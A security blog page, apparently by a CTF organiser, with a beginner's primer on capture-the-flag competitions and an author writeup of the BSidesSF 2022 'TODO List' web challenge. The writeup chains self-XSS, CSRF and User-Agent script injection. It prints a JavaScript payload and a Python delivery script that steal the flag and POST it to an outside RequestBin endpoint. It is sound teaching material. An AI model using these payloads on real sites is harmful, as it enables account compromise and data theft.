System Overlord

A blog about security engineering, research, and general hacking.

BSidesSF CTF 2023: Lastpwned (Author Writeup)

I was the challenge author for a handful of challenges for this year’s BSidesSF CTF. One of those challenges was lastpwned, inspired by a recent high-profile data breach. This challenge provided a web-based password manager with client-side encryption.


CTF 101: Just Try It!

As I’m helping to organize the BSides San Francisco CTF this weekend, I thought I’d share a little primer for CTFs for those who have not gotten into them before.

What is a CTF?

I suspect that most people in the information security (“cybersecurity”) space have already heard of Capture the Flag (or CTF) competitions, but in case you haven’t, I wanted to provide a short overview.

Capture the Flag competitions are a timed and scored set of security-related challenges. They may take many forms and durations, but there are some pretty common styles, and the majority of CTFs are 24-72 hours long. Some are associated with conferences or other events, while others are run entirely online.

The most common style of CTF is called “Jeopardy Style”, named after the TV show. In these CTFs, players complete challenges from an assortment of categories to earn points. Most often, completing each challenge awards the “flag” that is entered into the scoreboard to receive points. These may be run for individual players or teams of players.

Another style is the “Attack-Defense CTF”, in which teams of players have a network to defend while also being able to attack the networks of other players. They may involve stealing flags off the opponent’s network or planting ones own flags to earn points.

Most players’ first CTF experience will be with a Jeopardy-style CTF competition, such as the one we’re running this weekend, so I’ll focus on that style for the remainder of this post.

Common Categories

While CTFs may present challenges that are widely varied, there are some categories that are fairly common across the board. Beyond those described below, you’ll see varied topics like Mobile, Cloud, or even “Miscellaneous” where you’ll be doing some potentially obscure task.

Pwnable (Pwn)

As a general rule, these challenges usually have an expectation of gaining some kind of privileged access, usually in the form of code execution or a shell. Many of them involve some form of memory corruption (buffer overflow, use-after-free, double free, etc.), and some CTF participants would say that pwn should even be limited to memory corruption. Usually, it will be a networked binary/service written in a relatively low-level language. In any case, these would be the common “exploitation of a priviliged service”.

Solving these may also involve some reverse engineering to understand the binary, but the focus here is normally on the exploitation of the bug(s) more than the reverse engineering. Occasionally, a challenge will provide source code or other resources.

Web

Web challenges are incredibly common and only continuing to grow in popularity with challenge authors over time. Probably has something to do with nearly everything being a web app these days. These challenges involve compromising a web application, either by server-side vulnerabilities (SQL injection, request splitting, auth bypass, SSRF) or through client-side vulnerabilities (XSS, CSRF), or some combination.

For the client-side exploits, most challenges involve some kind of automated browser visiting the relevant application to be exploited. (Having to exploit a browser bug is less common, but also possible.) For the BSidesSF CTF, we call this “webbot”, and use a headless Chrome driven by the puppeteer library.

Web challenges can have a special complexity for challenge authors: shared state, such as databases, make it easier for players’ attempts to interfere with each other. (Personally, I try to avoid such state if I can.)

Forensics

Forensics challenges have a wide variety of challenges to recover some kind of data from an underlying media. This might be packet captures, disk images, memory dumps, steganography or even log analysis. It’s encouraging to see more responder/blue team oriented content appearing in CTFs, even if I’m personally terrible at them.

These challenges are great for those in (or looking to get into) SOC, digital forensics, or other related fields. Also great for those transitioning from something like network administration, as some of the topics should be quite familiar.

Crypto

Crypto means cryptography! These challenges typically involve some kind of custom cryptosystem, though I’ve also seen bad key generation or incorrect application of well-known cryptographic primitives. If you think you’re good at math, spotting patterns, or figuring out weird formats, this might be a category you can use to test yourself.

Crypto challenges can range from basic Caesar ciphers to mis-applications of cryptosystems like AES or RSA. They’re also a great opportunity to practice scripting, as you’ll often need to apply your approach to a large volume of data.

Reversing (RE)

Reverse Engineering challenges mostly involve a program that needs to be reverse-engineered to figure out the hidden flag. Often, they’ll ask for an input and use that input to produce or decrypt the flag and then display them. These usually tend to be native code (C/C++ or even something like Rust or Go), but you might also encounter managed code (such as .NET, Java, or Python bytecode). Disassemblers and decompilers will be your friend here.

These are great for those who want to understand malware, or want to extend their reversing skills for better exploitation or other security practices. I’ve personally learned so much about the internals of operating systems and application security from reversing challenges.

Useful Tools

For a variety of reasons, Linux CTF challenges are far more common than Windows challenges. Consequently, you’ll probably want some flavor of Linux VM. It doesn’t have to be something security-specific like Parrot or Kali Linux, but something you can test things on and run things on. Don’t forget to snapshot this VM, as it’ll give you a clean start each time, as well as reduce the risk of something going wrong with a challenge attempt completely screwing things up.

For web challenges, having a web proxy that lets your replay and modify HTTP requests is incredibly useful. BurpSuite is a bit of a gold standard, but OWASP Zap and mitmproxy are other options. Having a VPS or using a “Request Bin” to receive requests online can also be useful.

For reversing, pwnable, and other challenges, you’ll want a disassembler like Ghidra, radare2/rizin, BinaryNinja or IDA. You’ll also probably want a debugger – I use gdb with the gef script on Linux, and windbg on Windows.

For forensics challenges, there’ll be a variety of tools that depend on the circumstance. Commonly, though, you’ll see challenges involve packet captures (PCAP), for which Wireshark is just about the only answer.

You might need to be able to host files or receive reverse shells. In such a case, having a system with a public IP can be incredibly useful. I tend to use a VPS for this, as I’m often at a conference or on another network doing Network Address Translation, which makes receiving incoming connections more difficult. I mostly use DigitalOcean because they’re relatively low cost and easy to spin up in a variety of regions, but you can get some really cheap VPSs if you look on a site like LowEndBox. For something like playing in a CTF, the lower reliability of a cheaper option is not a significant concern.

GCHQ’s CyberChef can also be a great tool during CTFs, along with familiarity with some sort of scripting language. If you’re using Python, I can highly recommend pwntools when doing reversing or exploitation challenges.

Benefits of Playing

Probably the most prevalent benefit of playing in CTF competitions is the fun and enjoyment brought about by solving challenges. Just like any kind of puzzle, there is a sense of accomplishment on solving a challenge. (Especially something new or difficult to you.)

There is definitely an educational benefit to participating in a CTF as well. They provide a great opportunity to reinforce an existing skill or try out something new during a CTF – the stakes are low, and if well-designed, it should be possible to solve the puzzle.

Even if one doesn’t learn new technical skills, puzzle-like games can stretch the mind and help improve the ability to think “outside the box.”

I’ve also met some great people through playing and building CTF challenges. This can be a good networking opportunity, as most of them will be in the information security space or related areas.

Advice

I recommend just giving it a try. Look at a challenge that looks fun, check it out, and give it a try. You can get far just by Googling a few things in a lot of cases, and you might just learn something!


Returning to Hacker Summer Camp

It’s that time of year again – Hacker Summer Camp. (Hacker Summer Camp is the ~weeklong period where several of the largest hacker/information security conferences take place in Las Vegas, NV, including DEF CON and Black Hat USA.) This will be the 3rd year in a row where it takes place under the spectre of a worldwide pandemic, and the first one to be fully in-person again. BSidesLV has returned to in-person, DEF CON is in-person only, Black Hat will be in full swing, and Ringzer0 will be offerring in-person trainings. It’s almost enough to forget there’s still an ongoing pandemic.

I did attend last year’s hybrid DEF CON in person, and I’ve been around a few times, so I wanted to share a few tidbits, especially for first timers. Hopefully it’s useful to some of you.


BSidesSF 2022 CTF: Login4Shell

Log4Shell was arguably the biggest vulnerability disclosure of 2021. Security teams across the entire world spent the end of the year trying to address this bug (and several variants) in the popular Log4J logging library.

The vulnerability was caused by special formatting strings in the values being logged that allow you to include a reference. This reference, it turns out, can be loaded via JNDI, which allows remotely loading the results as a Java class.

This was such a big deal that there was no way we could let the next BSidesSF CTF go by without paying homage to it. Fun fact, this meant I “got” to build a Java webapp, which is actually something I’d never done from scratch before. Nothing quite like learning about Jetty, Log4J, and Maven just for a CTF level.


BSidesSF 2022 CTF: TODO List

This year, I was the author of a few of our web challenges. One of those that gave both us (as administrators) and the players a few difficulties was “TODO List”.

Upon visiting the application, we see an app with a few options, including registering, login, and support. Upon registering, we are presented with an opportunity to add TODOs and mark them as finished:

Add TODOs

If we check robots.txt we discover a couple of interesting entries:

1
2
3
User-agent: *
Disallow: /index.py
Disallow: /flag

Visiting /flag, unsurprisingly, shows us an “Access Denied” error and nothing further. It seems that we’ll need to find some way to elevate our privileges or compromise a privileged user.

The other entry, /index.py, provides the source code of the TODO List app. A few interesting routes jump out at us, not least of which is the routing for /flag:

1
2
3
4
5
6
7
8
@app.route('/flag', methods=['GET'])
@login_required
def flag():
    user = User.get_current()
    if not (user and user.is_admin):
        return 'Access Denied', 403
    return flask.send_file(
            'flag.txt', mimetype='text/plain', as_attachment=True)

We see that we will need a user flagged with is_admin. There’s no obvious way to set this value on an account. User IDs as stored in the database are based on a sha256 hash, and the passwords are hashed with argon2. There’s no obvious way to login as an administrator here. There’s an endpoint labeled /api/sso, but it requires an existing session.

Looking at the frontend of the application, we see a pretty simple Javascript to load TODOs from the API, add them to the UI, and handle marking them as finished on click. Most of it looks pretty reasonable, but there’s a case where the TODO is inserted into an HTML string here:

1
2
3
const rowData = `<td><input type='checkbox'></td><td>${data[k].text}</td>`;
const row = document.createElement('tr');
row.innerHTML = rowData;

This looks awfully like an XSS sink, unless the server is pre-escaping the data for us in the API. Easy enough to test though, we can just add a TODO containing <span onclick='alert(1)'>Foobar</span>. We quickly see the span become part of the DOM and a click on it gets the alert we’re looking for.

TODOs

At this point, we’re only able to get an XSS on ourselves, otherwise known as a “Self-XSS”. This isn’t very exciting by itself – running a script as ourselves is not crossing any privilege boundaries. Maybe we can find a way to create a TODO for another user?

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/api/todos', methods=['POST'])
@login_required
def api_todos_post():
    user = User.get_current()
    if not user:
        return '{}'
    todo = flask.request.form.get("todo")
    if not todo:
        return 'Missing TODO', 400
    num = user.add_todo(todo)
    if num:
        return {'{}'.format(num): todo}
    return 'Too many TODOs', 428

Looking at the code for creating a TODO, it seems quite clear that it depends on the current user. The TODOs are stored in Redis as a single hash object per user, so there’s no apparent way to trick it into storing a TODO for someone else. It is worth noting that there’s no apparent protection against a Cross-Site Request Forgery, but it’s not clear how we could perform such an attack against the administrator.

Maybe it’s time to take a look at the Support site. If we visit it, we see not much at all but a Login page. Clicking on Login redirects us through the /api/sso endpoint we saw before, passing a token in the URL and generating a new session cookie on the support page. Unlike the main TODO app, no source code is to be found here. In fact, the only real functionality is a page to “Message Support”.

Submitting a message to support, we get a link to view our own message. In the page, we have our username, our IP, our User-Agent, and our message. Maybe we can use this for something. Placing an XSS payload in our message doesn’t seem to get anywhere in particular – nothing is firing, at least when we preview it. Obviously an IP address isn’t going to contain a payload either, but we still have the username and the User-Agent. The User-Agent is relatively easily controlled, so we can try something here. cURL is an easy way to give it a try, especially if we use the developer tools to copy our initial request for modification:

1
2
3
4
5
6
7
curl 'https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryz4kbBFNL12fwuZ57' \
  -H 'cookie: sup_session=75b212f8-c8e6-49c3-a469-cfc369632c72' \
  -H 'origin: https://todolist-support-ebc7039e.challenges.bsidessf.net' \
  -H 'referer: https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
  -H 'user-agent: <script>alert(1)</script>' \
  --data-raw $'------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="difficulty"\r\n\r\n4\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="message"\r\n\r\nfoobar\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="pow"\r\n\r\n1b4849930f5af9171a90fe689edd6d27\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57--\r\n'

Viewing this message, we see our good friend, the alert box.

Alert 1

Things are beginning to become a bit clear now – we’ve discovered a few things.

  1. The flag is likely on the page /flag of the TODO list manager.
  2. Creating a TODO list entry has no protection against XSRF.
  3. Rendering a TODO is vulnerable to a self-XSS.
  4. Messaging the admin via support appears to be vulnerable to XSS in the User-Agent.

Due to the Same-Origin Policy, the XSS on the support site can’t directly read the resources from the main TODO list page, so we need to do a bit more here.

We can chain these together to (hopefully) retrieve the flag as the admin by sending a message to the admin that contains a User-Agent with an XSS payload that does the following steps:

  1. Uses the XSRF to inject a payload (steps 3+) as a new XSS.
  2. Redirects the admin to their TODO list to trigger the XSS payload.
  3. Uses the Fetch API (or XHR) to retrieve the flag from /flag.
  4. Uses the Fetch API (or XHR) to send the flag off to an endpoint we control.

One additional complication is that <script> tags will not be executed if injected via the innerHTML mechanism in the TODO list. The reasons are complicated, but essentially:

  • innerHTML is parsed using the algorithm descripted in Parsing HTML Fragments of the HTML spec.
  • This creates an HTML parser associated with a new Document node.
  • The script node is parsed by this parser, and then inserted into the DOM of the parent Document.
  • Consequently, the parser document and the element document are different, preventing execution.

We can work around this by using an event handler that will fire asynchronously. My favorite variant of this is doing something like <img src='x' onerror='alert(1)'>.

I began by preparing the payload I wanted to fire on todolist-support as an HTML standalone document. I included a couple of variables for the hostnames involved.

1
2
3
4
5
6
7
8
9
10
11
12
13
<div id='s2'>
const dest='{{dest}}';
fetch('/flag').then(r => r.text()).then(b => fetch(dest, {method: 'POST', body: b}));
</div>
<script>
const ep='{{ep}}';
const s2=document.getElementById('s2').innerHTML;
const fd=new FormData();
fd.set('todo', '<img src="x" onerror="'+s2+'">');
fetch(ep+'/api/todos',
    {method: 'POST', body: fd, mode: 'no-cors', credentials: 'include'}).then(
        _ => {document.location.href = ep + '/todos'});
</script>

I used the DIV s2 to get the escaping right for the Javascript I wanted to insert into the error handler for the image. This would be the payload executed on todolist, while the lower script tag would be executed on todolist-support. This wasn’t strictly necessary, but it made experimenting with the 2nd stage payload easier.

The todolist-support payload triggers a cross-origin request (hence the need for mode: 'no-cors' and credentials: 'include' to the todolist API to create a new TODO. The new TODO contained an image tag with the contents of s2 as the onerror handler (which would fire as soon as rendered).

That javascript first fetched the /flag endpoint, then did a POST to my destination with the contents of the response.

I built a small(ish) python script to send the payload file, and used RequestBin to receive the final flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import argparse
import os


def make_email():
    return os.urandom(12).hex() + '@example.dev'


def register_account(session, server):
    resp = session.post(server + '/register', data={
        'email': make_email(),
        'password': 'foofoo',
        'password2': 'foofoo'})
    resp.raise_for_status()


def get_support(session, server):
    resp = session.get(server + '/support')
    resp.raise_for_status()
    return resp.url


def post_support_message(session, support_url, payload):
    # first sso
    resp = session.get(support_url + '/message')
    resp.raise_for_status()
    msg = "auto-solution-test"
    pow_value = "c8157e80ff474182f6ece337effe4962"
    data = {"message": msg, "pow": pow_value}
    resp = session.post(support_url + '/message', data=data,
            headers={'User-Agent': payload})
    resp.raise_for_status()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--requestbin',
            default='https://eo3krwoqalopeel.m.pipedream.net')
    parser.add_argument('server', default='http://localhost:3123/',
            nargs='?', help='TODO Server')
    args = parser.parse_args()

    server = args.server
    if server.endswith('/'):
        server = server[:-1]
    sess = requests.Session()
    register_account(sess, server)
    support_url = get_support(sess, server)
    if support_url.endswith('/'):
        support_url = support_url[:-1]
    print('Support URL: ', support_url)
    payload = open('payload.html').read().replace('\n', ' ')
    payload = payload.replace('{{dest}}', args.requestbin
            ).replace('{{ep}}', server)
    print('Payload is: ', payload)
    post_support_message(sess, support_url, payload)
    print('Sent support message.')


if __name__ == '__main__':
    main()

The python takes care of registering an account, redirecting to the support site, logging in there, then sending the payload in the User-Agent header. Checking the request bin will (after a handful of seconds) show us the flag.